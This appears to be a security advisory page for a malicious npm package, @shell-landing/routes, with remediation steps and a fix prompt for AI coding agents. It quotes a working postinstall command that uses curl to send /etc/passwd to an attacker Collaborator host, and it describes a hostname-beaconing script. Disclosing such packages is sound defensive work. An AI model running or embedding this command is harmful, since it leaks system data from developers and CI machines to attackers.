# MAL-2026-5429: Malicious code in @shell-landing/routes (npm)


- **Type:** Malicious package
- **Package:** `@shell-landing/routes` (npm)
- **Published:** 9 Jun 2026
- **Also known as:** GHSA-9pv9-393c-q5f8, GHSA-j8mm-3hrj-6rwf, SNYK-JS-SHELLLANDINGROUTES-18758920

## What is MAL-2026-5429?

MAL-2026-5429 is a malicious package in @shell-landing/routes, published on 9 Jun 2026. 

### Official description

On `npm install`, the package's postinstall hook runs `node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`. The curl invocation POSTs the contents of `/etc/passwd` to an attacker-controlled Burp Collaborator subdomain, embedding the installer's hostname in the request. The companion script `scripts/scream3gg.js` hex-encodes `os.hostname()`, `os.homedir()`, and `os.userInfo().username` and beacons each as an HTTP GET subdomain of `*.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`. The package contains no library code, no README, and no main entry — version 99.9.5 with a pure-exfil payload under the `@shell-landing` scope is consistent with a dependency-confusion probe targeting an internal package name. Any developer or CI running `npm install` will leak host identity and `/etc/passwd` to attacker infrastructure.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5429?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5429 is a malicious package: @shell-landing/routes (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5429/ (Markdown: https://insights.sbomify.com/MAL-2026-5429/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5429

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5429/
Summaries are generated and may contain mistakes; the official description above is the record.